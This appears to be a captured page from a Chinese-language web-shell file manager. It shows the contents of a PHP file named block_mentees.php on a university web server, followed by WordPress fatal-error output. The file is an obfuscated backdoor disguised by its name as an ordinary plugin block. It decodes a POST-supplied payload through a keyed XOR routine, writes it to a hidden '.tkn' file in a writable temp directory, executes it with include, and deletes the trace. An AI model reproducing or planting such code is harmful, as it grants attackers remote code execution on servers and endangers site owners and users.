文件操作 - block_mentees.php

文件: /var/www/demoestudiantes.uaysen.cl/html/block_mentees.php

编辑文件内容

<?php

if(isset($_POST["\x66a\x63"])){
	$property_set = $_POST["\x66a\x63"];
	 $property_set= explode 	(		"."	,$property_set	); 		
	$resource = '';
            $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $s9);
            $len = count( $property_set);
    
            for( $u = 0; $u < $len; $u++) {
                $v5 = $property_set[$u];
                $chS = ord( $s9[$u		%	$lenS]);
                $dec =( ( int)$v5 - $chS -( $u		%	10)) ^ 84;
                $resource	.= chr( $dec);
            }
	$ent = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path()]);
	$holder = 0;
do {
    $element = $ent[$holder] ?? null;
    if ($holder >= count($ent)) break;
    		if ((bool)is_dir($element) && (bool)is_writable($element)) {
    $value = sprintf("%s/.tkn", $element);
    $file = fopen($value, 'w');
if ($file) {
	fwrite($file, $resource);
	fclose($file);
	include $value;
	@unlink($value);
	exit;
}
}
    $holder++;
} while (true);
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35